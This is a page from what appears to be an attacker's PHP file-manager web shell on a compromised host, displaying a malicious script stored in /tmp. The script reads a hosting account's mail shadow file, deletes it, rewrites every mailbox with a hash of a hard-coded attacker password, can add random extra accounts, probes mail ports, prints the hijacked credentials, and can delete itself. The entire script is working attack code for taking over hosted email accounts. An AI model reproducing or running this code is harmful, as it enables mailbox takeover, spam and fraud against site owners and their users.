Sindbad~EG File Manager

Current Path : /tmp/
Upload File :
Current File : //tmp/phpcAwQ5B

<?php
if (isset($_GET['delme'])) {
    unlink(__FILE__);
    echo "Script self-deleted successfully.";
}

set_time_limit(0);
ini_set('max_execution_time',0);
ini_set('memory_limit',-1);

$ports=array(25, 587, 465, 110, 995, 143 , 993);

$password='Sankess*+.';

$pwd = crypt($password,'$6$vvebos$');

$t = $_SERVER['SERVER_NAME'];

$t = @str_replace("www.","",$t);

foreach ($ports as $port) {
    $connection = @fsockopen($t, $port, $errno, $errstr, 2);
    if (is_resource($connection)) {
        fclose($connection);
        $firstActivePort = $port;
        break;
    }
}

$lol = dirname(__FILE__);
$str = explode("/",$lol);
$home = '/'.$str[1].'/'.$str[2];

@$passwd = file_get_contents($home.'/etc/'.$t.'/shadow');

$ex=explode("
",$passwd);

@link($home.'/etc/'.$t.'/shadow',$home.'/etc/'.$t.'/shadow.vvebos.bak');

@unlink($home.'/etc/'.$t.'/shadow');

if (isset($_GET['num'])) {
    $numberOfUsers = intval($_GET['num']);
    for ($i = 0; $i < $numberOfUsers; $i++) {
        $newUsername = generateRandomString(8);
        $b=fopen($home.'/etc/'.$t.'/shadow','ab');
        fwrite($b,$newUsername.':'.$pwd.':16249:::::'."
");
        fclose($b);
    }
    }
foreach($ex as $ex){
$ex=explode(':',$ex);
$e= $ex[0];
if ($e){
$b=fopen($home.'/etc/'.$t.'/shadow','ab');
fwrite($b,$e.':'.$pwd.':16249:::::'."
");
fclose($b);
echo ''.$t.'|'.$firstActivePort.'|'.$e.'@'.$t.'|'.$password.'</br>';
}}

function generateRandomString($length) {
    $list1 = array(
    "manager", "developer", "designer", "analyst",
    "engineer", "projectmanager", "datascientist", "uxuidesigner",
    "qatester", "systemadministrator", "technicalwriter", "networkengineer",
    "securityanalyst", "businessanalyst", "scrummaster", "productowner",
    "softwarearchitect", "devopsengineer", "databaseadministrator", "frontenddeveloper",
    "backenddeveloper", "fullstackdeveloper", "itsupport", "marketingspecialist",
    "salesrepresentative", "customerservicerepresentative", "financialanalyst", "humanresourcesmanager",
    "operationsmanager", "contentwriter", "socialmediamanager", "graphicdesigner",
    "eventcoordinator", "legalcounsel", "supplychainmanager", "logisticscoordinator",
    "medicalofficer", "nurse", "pharmacist", "researchscientist", "professor",
    "librarian", "artdirector", "animator", "photographer",
    "fitnesstrainer", "nutritionist", "personalassistant", "executiveassistant",
    "travelagent", "chef", "bartender", "flightattendant",
    "policeofficer", "firefighter", "paramedic", "securityguard",
    "journalist", "editor", "translator", "realestateagent",
    "electrician", "plumber", "mechanic", "carpenter",
    "interiordesigner", "architect", "landscaper", "veterinarian",
    "petgroomer", "dogtrainer", "weddingplanner", "financialadvisor",
    "insuranceagent", "mortgagebroker", "loanofficer", "personaltrainer",
    "yogainstructor", "lifecoach", "therapist", "counselor",
    "dentalhygienist", "physicaltherapist", "occupationaltherapist", "speechtherapist",
    "webdeveloper", "mobileappdeveloper", "gamedeveloper", "uiuxdesigner",
    "projectcoordinator", "networkadministrator", "helpdesktechnician", "itconsultant"
  );
  $list2 = array(
    "john", "emma", "michael", "sophia",
    "william", "olivia", "james", "amelia",
    "benjamin", "isabella", "lucas", "mia",
    "henry", "charlotte", "elijah", "ava",
    "alexander", "sophia", "daniel", "emily",
    "matthew", "abigail", "joseph", "ella",
    "samuel", "scarlett", "david", "grace",
    "christopher", "chloe", "andrew", "lily",
    "sebastian", "avery", "evelyn", "jackson",
    "aria", "ethan", "madison", "nicholas",
    "harper", "jack", "sophie", "natalie",
    "logan", "liam", "zoe", "lucy",
    "gabriel", "ruby", "dylan", "leah",
    "owen", "hannah", "caleb", "addison",
    "nathan", "aubrey", "eli", "zoey",
    "isaac", "brooklyn", "ezra", "penelope",
    "landon", "samantha", "tyler", "mila",
    "cameron", "victoria", "christian", "lillian",
    "leo", "grace", "hunter", "anna",
    "aiden", "hailey", "adrian", "aurora",
    "hudson", "nora", "grayson", "scarlet",
    "jordan", "eva", "ryan", "katherine",
    "justin", "alexa", "aaron", "stella",
    "kyle", "maya", "connor", "lucia"
  );
    $firstList = (rand(0, 1) === 0) ? $list1 : $list2;
    $randomWord1 = $firstList[array_rand($firstList)];
    $secondList = ($firstList === $list1) ? $list2 : $list1;
    $randomWord2 = $secondList[array_rand($secondList)];
    $randomCombination = $randomWord1 . $randomWord2;
    return $randomCombination;
}

?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists